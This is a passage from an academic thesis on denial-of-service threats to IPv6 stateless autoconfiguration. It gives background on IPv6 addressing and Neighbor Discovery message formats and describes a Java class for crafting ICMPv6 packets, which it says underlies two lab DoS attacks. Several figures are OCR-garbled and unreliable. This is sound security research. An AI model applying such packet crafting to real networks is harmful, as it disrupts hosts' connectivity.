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ABSTRACT 


IPv6, the successor of IPv4, introduces the stateless 
autoconfiguration feature as a convenient alternative to 
the Dynamic Host Configuration Protocol (DHCP). However, 
the security implications of this new approach have only 
been discussed at the conceptual level. 

This thesis research develops software based on the 
open-source packet capture library Jpcap to capture and 
build appropriate ICMPv6 autoconfiguration messages. The 
developed Java software is used to implement two DoS 
threats to the IPv6 autoconfiguration procedure in a 
laboratory IPv6 network. The results indicate that these 
threats are real, and further studies are required to 
identify suitable countermeasures. During this work 

compliance defects are also identified for the Linux 
Operating System's IPv6 implementation. 
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I. 


INTRODUCTION 


IPv6 is the network layer protocol developed to 
replace IPv4. It has a large address space and is expected 
to improve network performance and network security. The 
intended improvements include both enhancements of existing 
IPv4 functionalities and new features. Most of the former 
category of improvements have been tested and analyzed 
during the operational period of IPv4; the new features, 
however, are not equally tested. Some of them still have 
not been incorporated into popular operating systems, and 
some exist only as RFC specifications, with no actual 
implementation. 

One of the new features of IPv6 is the stateless host 
autoconfiguration process. The Dynamic Host Configuration 
Protocol (DHCP) is the predominant way of host 
configuration in IPv4. IPv6 introduces two distinct methods 
of host autoconfiguration: stateless and stateful. Although 
stateless and stateful host autoconfiguration each receive 
a share in implementation and development, it's the 
stateless option that is supported by most contemporary 
operating systems, and is significantly different than what 
is found in IPv4. It is a procedure designed to facilitate 
IPv6-enabled hosts to join a network by allowing these 
hosts to configure their network parameters automatically, 
without the intervention of the user or a network 
administrator. For routed environments, though, a minimal 
amount of manual router configuration is required so that 
information can flow between links. 

This feature, a basic characteristic of all IPv6 
implementations, is also the subject of serious discussions 
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concerning its security implications. Several problems have 
been identified and solutions proposed [Nikander04 ] . A 
systematic implementation and analysis in a laboratory 
environment of the potential threats to the hosts and the 
network, during the IPv6 autoconfiguration process, will 
help in the evaluation of the proposed solutions and in 
research for new ones. Such analysis, together with the 
tools to gather the data to support that analysis, is the 
focus of this thesis. 

A. OBJECTIVE 

The main objective of this research effort is to build 
a test bed for investigating the vulnerabilities of the 
IPv6 stateless autoconfiguration procedure. The test bed 
shall facilitate the enactment and analysis of the effects 
of specific threats on the hosts and the network. The 
threats shall be implemented in software and validated 
using the test bed. The software shall provide a convenient 
library for ICMPv6 packet crafting and capture, and is to 
be developed in Java for portability. While this thesis is 
not about discovering new vulnerabilities or evaluating 
countermeasures, the resulting test bed and software shall 
lay the necessary groundwork for future research in those 
directions. Thus, the following tasks will be 
accomplished: 

1. Identify known security issues with the proposed 
IPv6 autoconfiguration protocol. 

2. Select two candidate risks for further study. 

3. Develop custom Java modules to supplement those 
publicly available as necessary to develop low-level packet 
manipulation and crafting. 
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4. Configure a suite of hardware components to 
investigate the susceptibility of the autoconfiguration 
protocol to the selected risks. 

5. Implement attacks against the test bed and assess 
the performance of the protocol in the presence of 
malicious activity. 

B. RESEARCH QUESTIONS 

This thesis investigates the following specific 
issues : 

1. What are the security considerations 
(vulnerabilities) of stateless autoconfiguration from the 
perspective of the host? 

2. What are the real and potential threats to the 
network? Are there any known current exploits of the 
vulnerabilities? 

3. What tools are necessary to study the potential 
for attacks on IPv6 autoconfiguration? Is it possible to 
build portable toolkits for packet capture and crafting 
that can be used to attack the IPv6 autoconfiguration 
process ? 


4. What methods are proposed for the threat 
mitigation? 

C. ORGANIZATION 


This thesis is 

organized 

as 

follows: 



Chapter II 

provides 

an 

overview of 

the 

IPv6 

autoconfiguration 

process, 

and 

a discussion 

of 

known 


security issues. Chapter III presents the software that was 
developed for the implementation of threats. In Chapter IV, 
the implementation of specific attacks to the stateless 
autoconfiguration is presented, and results of their 
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application in a laboratory IPv6-based network are 
demonstrated. Since the stateless autoconfiguration relies 
on other protocols, processes, and algorithms (e.g.. 
Neighbor Discovery Protocol, ICMP, Duplicate Address 
Detection, etc.), consideration of the inherited threats 
from the base protocols or algorithms on the 
autoconfiguration itself is discussed. An evaluation of the 
autoconfiguration procedure is provided in Chapter V, based 
on the experimental results from Chapter IV. Conclusions 
and recommendations for threat mitigation are presented in 
the final chapter, along with suggestions for future work 
on the analysis and evaluation of the proposed solutions. 
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II. BACKGROUND 


This chapter intends to shortly present the host 
autoconfiguration procedure and the related protocols and 
processes. It is intended to be a high-level description 
that will introduce the autoconfiguration terminology and 
help the reader comprehend why the attacks to be presented 
in subsequent chapters would succeed. 

A. BASICS OF IPV6 ADDRESSING 

The address space in IPv6 is 128 bits, thus allowing 
increased flexibility in designing networks with multiple 
hierarchical levels, while facilitating hierarchical 
routing. Ipv6 addresses identify interfaces within one out 
of three hierarchical regions of the network. The scope of 
an address could be link-local, site-local, or global. 
There are three types of IPv6 addresses: unicast, multicast 
and anycast. 

1. Unicast Address 

A unicast address identifies a single interface within 
its scope. For load-balancing purposes, a set of interfaces 
can share the same unicast address - as long as they all 

appear as the same interface to the IPv6 implementation of 

the host [HindenOS]. Unicast addresses are categorized into 
the following four categories. 

a. Aggregatable Global Unicast Addresses 
These are globally routable and reachable and are 
identified by the fixed prefix 001. The term aggregatable 
is derived from the format of the address that includes 

multiple aggregation identifiers to support multiple 

hierarchical levels, as shown in Figure 1. 
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Prefli; 

OOl 

TLAIID 

RES 

NLA ID 

SLA ID 

IntBrFdCE ID 

ibiti 

PJWSs 

Btfia 


jetritf 



Profile oai^ lor ^ggr^^uble- q lobdl unlu^i dcldt#«. 

TXAIP Top-level ^giiegalipn idefKt'tfier. 

RE.'S Reeved For'fij'[iut«'U&e. 

NIAIP N^irr-level^gTEgaliom identifier 
StAlD Site—lec«l^gtegdiion Idmiifler. 
bit«rfKelP I'nterfj'Telclenlifler. 

Figure 1. Aggregatable Global Unicast Address format (From 

Ref. [Hagen02]). 


b. Site-Local Unicast Addresses 

These addresses are not reachable 
the local network (roughly equivalent to 
address space of IPv4), and are identified 
prefix 1111111011, as indicated in Figure 2. 


from outside 
the private 
by the fixed 


10 bits I 38 bits i 16 bits i 64 bits 


r -- n 

r -- n 

1111 111011 

000...000 

Subnet ID 

Interface ID 


Figure 2. Site-Local Unicast Address format (From Ref. 

[Davies02]). 

c. Link-Local Unicast Addresses 

Link-local unicast addresses are used for 
communication between nodes on the same link. The fixed 
prefix of a link-local address is 1111111010, and the 
structure can be seen in the Figure 3. 


lObits 

54bH5 

64 bits 




1111111010 

000...000 

Intertaos ID 


Figure 3. Link-Local Unicast Address format (From Ref. 

[Davies02]). 
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d. Special Unicast Addresses 

Those include the unspecified address 
0:0:0:0:0:0:0:0 (equivalent to the 0.0.0.0 IPv4 address), 
the loopback address 0::1, and various IPv4-compatibility 
addresses with the purpose of facilitating dual stack 
implementations during the transition period. 

2. Multicast Address 

A multicast address is assigned to a set of 
interfaces, so that packets are delivered to all those 
interfaces. The fixed prefix for multicast addresses is 
11111111 (FF) . The structure of the address, the possible 
values of the fields, and some well known multicast 
addresses are displayed in Figure 4, Tables 1 and Table 2. 


1)111111 

Flags 

Scope 

Group identifier 

8blK 

4 bits 

4 bis 

ItJbits 


(Ijigs; btTO-3 RKer««(l,mus(b«wro. 

bit 4 0» this is dwell-luiOMn multicast addwu. 

1 z this is a temporary multicast address. 

Scope; Refer to tabie 3-5 for the vaiues. 


Figure 4. Multicast Address format (From Ref. [Hagen02]). 
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FF02:0:0:0:0:0:0:1 

All-nodes on link 

FF02:0:0:0:0:0:0:2 

All-routers on link 

FF02:0:0:0:0:0:0:3 

Unassigned 

FF02:0:0:0:0:0:0:4 

DVMRP routers 

FF02:0:0:0:0:0:0:5 

OSPFIGP 

FF02:0:0:0:0:0:0:6 

OSPFIGP designated routers 

FF02:0:0:0:0:0:0:7 

ST routers 

FF02:0:0:0:0:0:0:8 

ST hosts 

FF02:0:0:0:0:0:0:9 

RIP routers 

FF02:0:0:0:0:0:0:A 

EIGRP routers 

FF02:0:0:0:0:0:0:B 

Mobile agents 

FF02:0:0:0:0:0:0:D 

All PIM routers 

FF02:0:0:0:0:0:0:E 

RSVP encapsulation 

FF02:0:0:0:0:0:1:1 

Link name 

FF02:0:0:0:0:0:1:2 

All DHCP agents 

FF02:0:0:0:0:1:FFXX:XXXX 

Solicited-node address 

FF05:0:0:0:0:0:0:2 

All-routers on site 

FF05:0:0:0:0:0:1:3 

All DHCP servers on site 

FF05:0:0:0:0:0:1:4 

All DHCP relays on site 


Table 1. Well known Multicast Addresses 





Value 

Description 

0 

Reserved 

1 

Node-local scope (name changed to interface- 
local in new draft) 

2 

Link-local scope 

3, 4 

Unassigned 

5 

Site-local scope 

6, 7 

Unassigned 

8 

Organization-local scope 

9, A, B, 

C, D 

Unassigned 

E 

Global scope 

F 

Reserved 


Table 2. Multicast Address Scope field values 


3. Anycast Address 

An anycast address is also assigned to a set of 

interfaces, but packets are delivered only to a single 

interface (in that set) that is the closest to the source. 
Anycast addresses are used only as destination addresses 
and are assigned only to routers. There is no fixed 

identifier for anycast addresses; routers retain routes to 
the nodes of anycast groups, and are aware of the anycast 
groups in which they participate. Common use of anycast 
addresses is for communication with the nearest router 
connected to a specified subnet. 

B. HOST AUTOCONFIGURATION 

An IPv6 host usually has multiple unicast addresses 
for each of its interfaces; a link-local address is the 
first address assigned to the interface, while global 


9 














and/or site-local address configuration follows. 
Configuration of interfaces in IPv6 is controlled by the 
protocol itself. The host autoconfiguration feature allows 
hosts joining a link to configure link-local addresses for 
their interfaces and checks the uniqueness and validity of 
all addresses a user attempts to assign. A minimal 
configuration of local routers is only needed for global 
and/or site-local address autoconfiguration by the hosts, 
while stateful configuration options (such as DHCP for 
IPv6) are supported. 

Stateless autoconfiguration refers to the procedure 
during which the host is assigned addresses based on the 
local router advertisements. Stateless DHCP is the 
procedure during which addresses are configured according 
to the router advertisements, and a host receives 
additional information (such as DNS servers) via a DHCP 
server. 

1. IPv6 Address States 

An IPv6 address can be tentative, valid or invalid. A 
tentative address is an address that is in the process of 
being verified for uniqueness. It can not be used for 
normal IPv6 traffic; it is only used for receiving 
duplicate address detection related messages. 

A valid address is one that is verified for 
uniqueness, and therefore can be used for all traffic. It 
can be either preferred (use of this address is unlimited) , 
or deprecated (use is discouraged for new communication 
since a new preferred address exists, but can be used for 
existing sessions) . The period that an address is valid is 
advertised by the routers in a corresponding router 
advertisement field. 
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An invalid address is the address after its valid 
lifetime expires, and it can no longer be used for sending 
or receiving IPv6 traffic. 

2. Link-local Address Autoconfiguration 

The procedure starts with the generation of a 
tentative link-local address by the host. The prefix of a 
link-local address is 1111 1110 10. The rest of the address 
is an interface identifier, which is most likely unique. 
Typically on an Ethernet network the prefix is FE80::/64 
and it is followed by the EUI-64 interface identifier. The 
EUI-64 identifier is based on the physical address of the 
interface (48-bit MAC address), with the injection of the 
two bytes OxEEEE between the third and fourth byte as shown 
in Figure 5. 

IEEE administered company ID Manufacturer selected extension ID 



Figure 5. EUI-64 Interface Identifier (from Ref. 

[Microsoft06]). 


In the IPv6 address that is generated, the seventh bit 
of the interface identifier (the U/L bit of the EUI-64) is 
complemented. 

The generated address is then checked for uniqueness 
in the local network by the use of the Duplicate Address 
Detection mechanism (DAD). A neighbor solicitation message 
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is sent, stating the tentative link-local address; if 
another node is assigned this address, it sends a 
corresponding neighbor advertisement. At this point another 
address must be generated or the autoconfiguration fails. 
If the address is unique, then the tentative address 
becomes valid, and the node can communicate with other 
nodes in the link. 

3. Global Address Autoconfiguration 

a. Router Configuration 

A router, in order to support the host 
autoconfiguration procedure, must send router 

advertisements. A router advertisement includes two flags 
(one bit each) which indicate the autoconfiguration method. 
The "M" flag, when set, tells hosts to use DHCPv6 for 
address configuration (Managed Address Configuration Flag). 
The "0" flag, when set, tells hosts to use an administered 
configuration method (such as DHCPv6) for information other 
than addresses. For the stateless autoconfiguration method, 
router advertisements must at least contain the subnet 
prefix that the hosts must use to formulate their site- 
local or global address, and the corresponding lifetimes 
(valid and preferred). Option headers of router 
advertisements include the advertised MTU and the source 
link-layer address of the message. Router advertisements 
are sent periodically or when solicited by a host. 

b. Stateless Address Autoconfiguration 

The host sends a router solicitation message to 
request an immediate router advertisement. If no router 
advertisement or a router advertisement with the "M" flag 
(bit) set is received, the host proceeds to stateful 
autoconfiguration. If a router advertisement is received 
with the "M" flag set to zero, the host uses the advertised 
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prefix to derive a tentative address. After a duplicate 
address detection procedure, the address is either assigned 
to the interface, or it is rejected if another node 
responds with a corresponding neighbor advertisement, 
stating that this address is already in use. 

If the received router advertisements have the 
"0" flag set, the host uses stateful configuration to 
obtain additional network information. 

4. IPv6 Renumbering 

IPv6 renumbering is the procedure during which all 
hosts of an IPv6 subnet change their subnet prefix. 
Renumbering is required when an isolated network (which 
makes use of site-local addresses) joins the public IPv6 
internet, when a network leaves the internet, when it 
becomes multi-homed (connected to the public internet 
through multiple gateways), or for whatever reasons a 
change of the prefix is needed. The procedure starts with a 
special "router renumbering command" [CrawfordOO] issued by 
the network administrator via a control device. This 
command includes the routers that need to be reconfigured 
along with their new prefixes. After the routers process 
the renumbering command, they advertise the new prefix to 
their hosts and, if required by the renumbering command, 
respond to the originator of the command with a "router 
renumbering result" message. Renumbering commands and 
results are ICMPv6 messages. An alternative method of 
renumbering makes use of the DHCPv6 through the address 
"leases" that expire when required. 

C. NEIGHBOR DISCOVERY PROTOCOL 

The Neighbor Discovery Protocol is used to provide the 
functionality of Address Resolution Protocol (ARP), ICMPv4 
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Router Discovery, and the ICMPv4 Redirect message 
[Narten98] . For this reason, it formalizes five ICMPv6 
informational messages. The router and neighbor 
solicitations and advertisements are four neighbor 
discovery messages used mostly in address autoconfiguration 
and address resolution; the fifth message of this protocol 
is the redirect, which in IPv4 is considered an ICMP error 
message. 

1. ICMPv6 

ICMPv6, like ICMP for IPv4, is used either for error 
messages (by the destination or an intermediate node), or 
for informational messages to test, diagnose and enhance 
connectivity. The format of the ICMPv6 is displayed in 
Figure 6. 


0 12 3 

01234567890123456789012345678901 

I Type I Code | Checksum | 

I I 

+ Message Body + 

I I 

+-+ 

Figure 6. ICMPv6 format (from Ref. [ContaOG]). 

The type field indicates the type of message. Its 

value determines the format of the remaining data. The code 
field depends on the message type and is used to create an 
additional level of message granularity. The checksum field 
is used to detect data corruption in the ICMPvG message and 
parts of the IPv6 header. The calculation of the checksum 

involves a "pseudo-header" consisting of the source and 

destination addresses, the payload length, a sequence of 24 
zeroes and the number 58. 
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2. Neighbor Discovery Messages 

a. Router Solicitation 

The purpose of router solicitation is to force 
routers to generate router advertisements immediately 
rather than at their next scheduled time. It is used when a 
node joins the network, and needs to be configured. 
Typically, the source address is the unspecified address, 
and the destination address is the all-routers multicast 
address. The hop limit must be 255. The router 

solicitation format is shown in Figure 7. 

0 12 3 

01234567890123456789012345678901 

I Type I Code I Checksum I 

I Reserved I 

I Options ... 

+-+-+-+-+-+-+-+-+-+-+-+- 

Figure 7. Router Solicitation format (from Ref. 

[Narten98]). 

The type of a router solicitation is 133, and the code 0. 
The reserved field must be initialized to zeros, and is not 
used. Options include the link-layer address of the sender 
if the source address is not the unspecified address. 

b. Router Advertisement 

The router advertisement is a response to the 
router solicitation. Routers also send advertisements 
periodically. 

The source address is the link-local address of 
the corresponding router interface. The destination address 
is either the address of an invoking router solicitation or 
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the all-nodes multicast address. The hop limit is 255. The 
router advertisement format is shown in Figure 8. 


0 12 3 

01234567890123456789012345678901 

I Type I Code I Checksum I 

I Cur Hop Limit |M|0| Reserved | Router Lifetime I 

I Reachable Time I 

I Retrans Timer | 

I Options ... 

+-+-+-+-+-+-+-+-+-+-+-+- 

Figure 8. Router Advertisement format (from Ref. 

[Narten98]). 


The type of this ICMPvG message is 134 and the code is 
0. The "M" and "0" bits are the "managed address 
configuration" and the "other stateful configuration" 
flags. The router lifetime is in seconds, and a value of 
zero means the router is not a default router. The 
reachable time field indicates the time - in milliseconds - 
that a node assumes a neighbor is reachable after having 
received a reachability confirmation. Retransmission time 
is also in milliseconds. Possible options include the 
sender's link-layer address, the MTU and the prefix 
information. 

c. Neighbor Solicitation 

Neighbor solicitation is the equivalent of ARP in 
IPv4. It is used by nodes to request the link-layer address 
of a target node while also providing their own link-layer 
address to the target. Neighbor solicitations are 
multicast when the node needs to resolve an address and 
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unicast when the node seeks to verify the reachability of a 
neighbor. The neighbor solicitation format is shown in 
Figure 9. 

0 12 3 

01234567890123456789012345678901 

I Type I Code I Checksum I 

I Reserved I 

I I 

+ + 

I I 

+ Target Address + 

I I 

+ + 

I I 

I Options ... 

+-+-+-+-+-+-+-+-+-+-+-+- 

Figure 9. Neighbor Solicitation format (from Ref. 

[Narten98]). 

In the case of Duplicate Address Detection, the 
source address is the unspecified address and the 
destination address is the solicited-node multicast address 
corresponding to the target address. The hop limit is 255. 
The target address is the unicast IPv6 address of the 
target of the solicitation. 

The type of a neighbor solicitation is 135, and 
the code 0. Possible options include the link-layer address 
of the sender if the source address is not the unspecified 
address. 

d. Neighbor Advertisement 

The neighbor advertisement is a response to the 
neighbor solicitation. Nodes may also send advertisements 
periodically, in order to propagate new information 
quickly. 
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If the solicitation's source address is the 
unspecified address, the advertisement's destination 
address is the all-nodes multicast address. The hop limit 
is 255. The neighbor advertisement format is depicted in 
Figure 10 . 

0 12 3 

01234567890123456789012345678901 

I Type I Code I Checksum I 

IRISI 0 I Reserved I 

I I 

+ + 

I I 

+ Target Address + 

I I 

+ + 

I I 

I Options ... 

+-+-+-+-+-+-+-+-+-+-+-+- 

Figure 10. Neighbor Advertisement format (from Ref. 

[Narten98]). 

The type of a neighbor advertisement is 136, and 
the code 0. The "R" bit indicates that the node is a 
router. The "S" bit indicates that the advertisement is 
sent as a response to a neighbor solicitation. The "0" bit 
is the override flag. When set, it indicates that the 
advertisement should override an existing cache entry and 
update the cached link-layer address. An existing Neighbor 
Cache entry for which no link-layer address is known will 
always be updated. 

e. Redirect Function 

The redirect function is used to enhance the 
performance of a network by allowing routers to inform 
hosts of a better route to use for datagrams sent to a 
particular destination. When a router receives a message 
from a host, while there is a more efficient route for the 
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specific destination, it responds to the host with the 
first-hop to use when sending messages to this destination. 
Redirect messages may also include the link-layer address 
of the first-hop, attempting to update the sender's address 
resolution cache and save an address resolution cycle. 


The source address is the link-local address of 

the originator router's interface. The hop limit is 255. 

The redirect message format is shown in Figure 11. 

0 12 3 

01234567890123456789012345678901 


I Type I Code I Checksum I 

I Reserved I 

I I 

+ + 

I I 

+ Target Address + 

I I 

+ + 

I I 

I I 

+ + 

I I 

+ Destination Address + 

I I 

+ + 

I I 

I Options ... 

Figure 11. Redirect Message format (from Ref. [Narten98]). 


The type of the redirect message is 137 and the 
code is 0. The target address is the link-local address of 
the better first-hop router that the host should use. If 
the communicating hosts are on the same link (neighbors) , 
the target address field contains the same value as the 
ICMP destination. Possible options include the target link- 
layer address and a redirected header - a part of the IP 
packet that triggered the "redirect" response. 
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D. KNOWN SECURITY ISSUES RELATED TO IPV6 HOST 

AUTOCONFIGURATION 

Since address autoconfiguration is a critical 
procedure, it must be secured against various attacks. The 
proposed solution for protection of the exchanged neighbor 
discovery messages is the IPsec authentication header 
[KentOS] . That would require the existence of security 
associations between all participating nodes and all nodes 
that would potentially join the network. Security 
associations (SAs) between two nodes could be negotiated 
via IKE, but this cannot be done for multicasted messages; 
in that case, the SAs have to be manually configured. This 
introduces yet unresolved issues, due to scalability and 
key management problems [ArkkoOS]. 

The Secure Neighbor Discovery (SEND) working group of 
the Internet Engineering Task Eorce (lETE) proposed the 
SEND protocol to solve the problem of key management 
[ArkkoOS] with the use of Cryptographically Generated 
Addresses (CGA) [AuraOS]. As of August 2006, 
implementations of these protocols that are proposed 
standards were found only in Linux and EreeBSD operating 
systems. 

This thesis attempts to implement and analyze two 
Denial of Service attacks, based on security concerns of 
the autoconfiguration process as described in the relevant 
RECs and on the potential threats of the Neighbor Discovery 
Protocol [Nikander04 ] . 

The following chapter presents the software developed 
for low-level IPv6 packet manipulation, and the code of two 
Denial of Service attacks. 
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III. JAVA SOFTWARE FOR LOW-LEVEL IPV6 
AUTOCONFIGURATION MESSAGE EXCHANGE MANIPULATION 


The attacking software was developed in Java. Since 
Java does not natively support low-level socket 
manipulation, an appropriate library for packet capturing 
and crafting had to be used. Two such open-source libraries 
were found, both being Java wrappers of the C-based libpcap 
(Unix) and winpcap (Windows) capture libraries. Jpcap 
(capital J) supports packet crafting and was selected over 
jpcapi. 

The current version of Jpcap (version 0.5.1), as of 
August 2006, doesn't provide direct support for ICMPv6. The 
intention of this research was, apart from implementing the 
attacks, to develop a Java class that supports ICMPv6 
packet crafting and capture. This class was then used for 
the "Router Lifetime Decreaser" and the "DAD Collision 
Generator", two Denial of Service attacks. 

The software was developed in NetBeans IDE 5.0, and 
the comments were converted to Javadoc with the appropriate 
NetBeans function. 

A. ICMPV6 SUPPORT FOR JPCAP 

As the attack uses ICMPv6 messages, a means must be 
provided to generate these messages by the attacker. A new 
Java class called ICMP6 has been developed for this thesis 
which provides the necessary ICMPv6 support to supplement 
the Jpcap library. The Java code for this class is provided 


^ Jpcap development is maintained by a faculty member of UC, Irvine 
at netresearch.ics.uci.edu/kfujii/jpcap/doc/index.html; jpcap is a 
"sourgeforge" project at sourceforge.net/projects/jpcap. 
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in Appendix A, while two attack implementations based on 
the class are presented in Appendices B and C, 
respectively. 

1. The Constants 

The bytes of the fields for the ICMP header and for 
the ICMPv6 neighbor discovery messages are provided as 
constants, along with the corresponding types. Tables 3 - 
10 show the class's constants. 



Constant 

Description 

Value 

static 

short 

LINK_DESTINATION_BYTE 

Starting Byte of Link- 
layer Header "Destination 
Address" field 

0 

Static 

short 

LINK_SOURCE_BYTE 

Starting Byte Link-layer 
Header "Source Address" 
field (the field length 
is 6 bytes) 

6 

Static 

short 

PACKET_TYPE 

Byte of the Link-layer 
Header "Packet Type" 

field (the field length 
is 6 bytes) 

12 


Table 3. Constants of Class ICMP6 for Link-Layer bytes 
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Constant 

Description 

Value 

static 

short 

VERSION_PRIORITY_B 

YTE 

Byte of the Network-layer 
Header "Version - Priority" 
field 

0 

static 

short 

PAYLOAD_LENGTH_BYT 

E 

Starting Byte of the 
Network-layer Header 
"Payload Length" field 
(field is two bytes long) 

4 

static 

short 

NEXT_HEADER_BYTE 

Byte of the Network-layer 
Header "Next Header" field 

6 

static 

short 

HOP_LIMIT_BYTE 

Byte of the Network-layer 
Header "Hop Limit" field 

7 

static 

short 

SOURCE_BYTE 

Starting Byte of the 
Network-layer "Source 
Address" field (field length 
is 8 bytes) 

8 

static 

short 

DESTINATION_BYTE 

Starting Byte of the 
Network-layer "Destination 
Address" field (field length 
is 8 bytes) 

24 

static 

short 

PAYLOAD_BYTE 

Starting Byte of Network- 
layer's payload 

40 

static 

short 

ICMP_TYPE_BYTE 

Byte of the ICMP Header 

"ICMP Type" field 

40 

static 

short 

ICMP_CODE_BYTE 

Byte of the ICMP Header 

"ICMP Code" field 

41 

static 

short 

ICMP_CHECKSUM_BYTE 

Starting Byte of ICMP Header 
"ICMP Checksum" field (field 
length is 2 bytes) 

42 

static 

short 

ICMP_BODY_BYTE 

Starting Byte of the ICMP 
Body 

44 


Table 4. Constants of Class ICMP6 for Network-Layer bytes 
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Constant 

Description 

Value 

static 

short 

ECHO_REQUEST 

Value of ICMPv6 Type for "Echo 
request" message 

128 

static 

short 

ECHO_REPLY 

Value of ICMPv6 Type for "Echo 
reply" message 

129 

static 

short 

MLR 

Value of ICMPv6 Type for "Echo 
multicast listener report" message 

131 

static 

short 

RS 

Value of ICMPv6 Type for "Router 
Solicitation" message 

133 

static 

short 

RA 

Value of ICMPv6 Type for "Router 
Advertisement" message 

134 

static 

short 

NS 

Value of ICMPv6 Type for "Neighbor 
Solicitation" message 

135 

static 

short 

NA 

Value of ICMPv6 Type for "Neighbor 
Advertisement" message 

136 

static 

short 

REDIRECT 

Value of ICMPv6 Type for 

"Redirect" message 

137 


Table 5. Class ICMP6 constants for ICMPv6 Type field value 



Constant 

Description 

Value 

static 

short 

AUTO_CONEIG_ELAGS 

Byte of the ICMP Router 

Advertisement 

"Autoconfiguration Elags" 

fields 

45 

static 

short 

ROUTER_LIEETIME 

Byte of the ICMP Router 
Advertisement "Router Lifetime" 
field 

46 

static 

short 

REACHABLE_TIME 

Byte of the ICMP Router 
Advertisement "Reachable time" 
field (field length 4 bytes) 

48 

static 

short 

RETRANSMISSION_ 

TIMER 

Byte of the ICMP Router 
Advertisement "Retransmission 
Timer" field 

52 

static 

short 

RA_OP TIONS_BY TE 

Starting Byte of the ICMP 
Router Advertisement Options 
Headers 

56 


Table 6. Class ICMP6 Router Advertisement specific 

constants 
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Constant 

Description 

Value 

static 

short 

NA_FLAGS_BYTE 

Byte of the ICMP Neighbor 

Advertisement Elags field 

44 

static 

short 

NA_TARGET_BYTE 

Starting Byte of the ICMP 
Neighbor Advertisement "Target 
Address" field (field length is 

8 bytes) 

48 

static 

short 

NA_OPTIONS_BYTE 

Starting Byte of the ICMP 
Neighbor Advertisement Options 
headers 

64 


Table 7. Class ICMP6 Neighbor Advertisement specific 

constants 



Constant 

Description 

Value 

static 

short 

SOURCE_LINK_LAYER_ADDRE S S 

Value of the ICMPv6 
Option Header for a 
"Source Link Layer 
Address" option 

1 

static 

short 

TARGET_LINK_LAYER_ADDRESS 

Value of the ICMPv6 
Option Header for a 
"Target Link Layer 
Address" option 

2 

static 

short 

PREEIX_INEORMATION 

Value of the ICMPv6 
Option Header for a 
"Prefix Information" 
option 

3 

static 

short 

MTU 

Value of the ICMPv6 
Option Header for an 
"MTU" option 

5 


Table 8. Constants of Class ICMP6 for the Option Header 

Type field value 
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Constant 

Description 

Value 

static 

short 

OPTION_LENGTH_BYTE 

Byte of the ICMPv6 
Option Header 
"Option Length" 
field (byte count 
from the start of 
the Option Header) 

1 

static 

short 

OPTION_LINK_LAYER_ADDRESS 

Starting Byte of the 
ICMPv6 Option "Link 
Layer Address" field 
(field length 6 
Bytes - byte count 
from the start of 
the Option Header) 

2 

static 

short 

PREEIX_ELAGS_BYTE 

Byte of the Router 
Advertisement Prefix 
Option "Prefix 
Elags" field (byte 
count from the start 
of the Option) 

3 

static 

short 

PREEIX_VALID_LIEETIME_BYTE 

Byte of the Router 
Advertisement Prefix 
Option "Prefix Valid 
Lifetime" field 
(byte count from the 
start of the Option) 

4 

static 

short 

PREEIX_PREEERRED_LIEETIME_ 

BYTE 

Byte of the Router 
Advertisement Prefix 
Option "Prefix 
Preferred Lifetime" 
field (byte count 
from the start of 
the Option) 

8 

static 

short 

PREEIX_BYTE 

Starting Byte of the 
Router Advertisement 
Prefix Option 
"Prefix" field (byte 
count from the start 
of the Option) 

16 


Table 9. Constants of Class ICMP6 for the Option Header 

bytes 
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Constant 

Description 

Value 

static 

short 

ICMP_PSEUDO_LENGTH 

ICMP pseudo header length 

40 

static 

int 

NEXT_HEADER_ICMP 

Value of the Network Layer 
Header "Next-Header" field 
indicating ICMPv6 

58 

static 

int 

VERSION_PRIORITY_MIN 

Minimum Value of the 
Network Layer Header 
"Version Priority" field 
for IPv6 

96 


Table 10. Other Class ICMP6 constants 


2. Constructors 

The ICMP6 class is a wrapper of the 

Jpcap.packet.Packet class. The data member of ICMP6 is a 
Jpcap.packet.Packet object, of which the behavior is 
enhanced (according to the ICMPvG specifications) with the 
class's methods. There are two constructors, neither being 
a default constructor. 

One constructor converts a jpcap.packet.Packet object 
to an IVMP6 class object. Although error checking (with a 
method provided by the class) is implemented, it is 
recommended that the application developer also makes sure 
that the jpcap.packet.Packet object is of type ICMPv6 
before using this constructor. No default packet is 
generated if the error checking fails. 

The second constructor is designed to construct 
various types of ICMPv6 messages with default values where 
possible. It is given an integer parameter which 
corresponds to the type of ICMPv6 message to be created (as 
an ICMP6 object). Currently, only neighbor advertisement 
messages are supported. Tables 11 & 12 show the neighbor 
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advertisement fields that are initialized with this 
constructor, and the fields for which the developer is 
responsible to assign values. 


ICMPv6 field 


Value Comments 


Version - Priority 0x60 
Flow Label 0 

Payload length 32 


IPv6 - Priority initialized to 0 

32 bytes Network-Layer payload 
length (includes the ICMPv6 
header and the Target Link layer 
Address option header) 


Next Header 
Hop Limit 


58 ICMPv6 

255 Neighbor discovery specification 

[RFC2462] 


ICMPv6 Type 136 

ICMPv6 Code 0 

Flags 0 

Option header type 2 


Option 
length 
Table 11 


header 1 


Neighbor Advertisement 


Target Link Layer Address 

1 Byte for the Target Link 
Address option header. 


Neighbor Advertisement fields initialized by 
corresponding ICMP6 constructor 


Layer 


the 
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ICMPv6 field 


Corresponding method 


Link layer header 
Network-Layer source address 

Network-Layer destination 

address 

Target Address 

Option header's Target Link 
Layer Address 

ICMPv6 checksum 


ICMPv6.setDataLink() method 

ICMPv6.setSourceAddress() 
method 

ICMPv6.setDestinationAddress() 
method 

ICMPv6.setTargetAddress() 
method 

ICMPv6.setOptlonLinkAddress() 
method 


ICMPv6.calculateChecksum() 
method 

Table 12. Neighbor Advertisement fields not initialized by 

the corresponding ICMP6 constructor. 


A modification of the neighbor advertisement flags may 
also be needed by the developer (all flags are initialized 
to zero). 

3. Methods 

"Get" methods allow the developer to access the 
values inside the message's fields, whereas with the 
corresponding "set" methods, modification or setting of the 
values is enabled. A method for calculation and setting of 
the ICMPv6 checksum is provided. This method appropriately 
incorporates the pseudo header. Also, a method that checks 
if a Packet is an ICMPv6 message is implemented. Tables 13 
- 15 summarize the methods of the class. 
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Return Type 

Method Name and Description 

int 

getChecksum() 

Returns the checksum of the 

ICMPV6 

java.net.Inet 6Address 

getDestinationAddress() 

Returns the IPv6 

Destination Address address 

byte[] 

getLinkDestinationAddress() 

Returns the Link-Layer 

destination address 

byte[] 

getLinkSourceAddress() 

Returns the Link-Layer 

source address 

java.net.Inet 6Address 

getSourceAddress() 

Returns the IPv6 source 

address 

java.net.InetGAddress 

getTargetAddress() 

Returns the Target Address 
of a NA or NS 

int 

getType() 

Returns the Type of the 

ICMPV6 


Table 13. Class ICMP6 methods for accessing ICMPv6 fields 
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Return 

Type 
